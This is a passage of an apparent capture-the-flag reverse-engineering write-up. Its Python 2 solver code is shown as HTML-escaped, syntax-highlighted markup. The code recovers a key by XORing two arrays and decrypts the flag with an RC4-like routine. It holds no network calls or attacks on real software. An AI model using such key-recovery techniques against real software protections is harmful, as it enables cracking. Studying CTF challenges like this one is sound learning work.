14pt;&quot;&gt;85&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;66&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;31&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;65&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;79&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;31&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;25&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;39&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;95&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;93&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;110&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;103&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;118&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;38&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;57&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;58&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;51&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;79&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; ]

compareArr &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0x13&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0x11&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0x13&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0x03&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0x04&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0x03&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0x01&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0x05&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]
bArr &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;26&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;27&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;18&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]

&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; i,c &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(155, 133, 157); font-size: 14pt;&quot;&gt;enumerate&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(compareArr):
    &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;hex&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(c&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;bArr[i])

&lt;/span&gt;&lt;span style=&quot;color: rgb(174, 174, 174); font-style: italic; font-size: 14pt;&quot;&gt;# 0x9 0xa 0xd 0x7 0x11 0x1 0x13 0x2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
this_k &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0x9&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0xa&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0xd&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0x7&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0x11&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0x1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0x13&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0x2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]
this_k &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;19&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]

&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;&quot;[*] get Flag!&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;

&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(137, 189, 255); font-size: 14pt;&quot;&gt;r_c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;arr1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;arr2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;):
    v7 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;256&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;    
    v3 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;None&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;v7
    v4 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;None&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;v7
    v0 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
    v1 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
    &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v1 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v7:
        v3[v1] &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v1
        v4[v1] &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; arr2[v1 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(arr2)]
        v1 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;

    v2 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v1&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;v1
    v1 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
    &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v2 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v7:
        v1 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v1 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v3[v2] &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v4[v2] &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
        v3[v1] &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; (v3[v1]&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;v3[v2])  &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;256&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; 
        v3[v2] &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; (v3[v2]&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;v3[v1])  &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;256&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
        v3[v1] &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; (v3[v1]&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;v3[v2])  &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;256&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
        v2 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;

    v4 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
    v2 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;^=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v2
    v1 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;^=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v1

    &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v0 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(arr1):
        v2 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v2 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
        v1 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v1 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v3[v2] &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
        v3[v1] &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; (v3[v1]&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;v3[v2]) &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;256&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
        v3[v2] &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; (v3[v2]&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;v3[v1]) &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;256&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
        v3[v1] &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; (v3[v1]&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;v3[v2]) &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;256&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
        v4 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;chr&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;((arr1[v0] &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v3[v3[v2] &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v3[v1] &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]) &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;256&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)
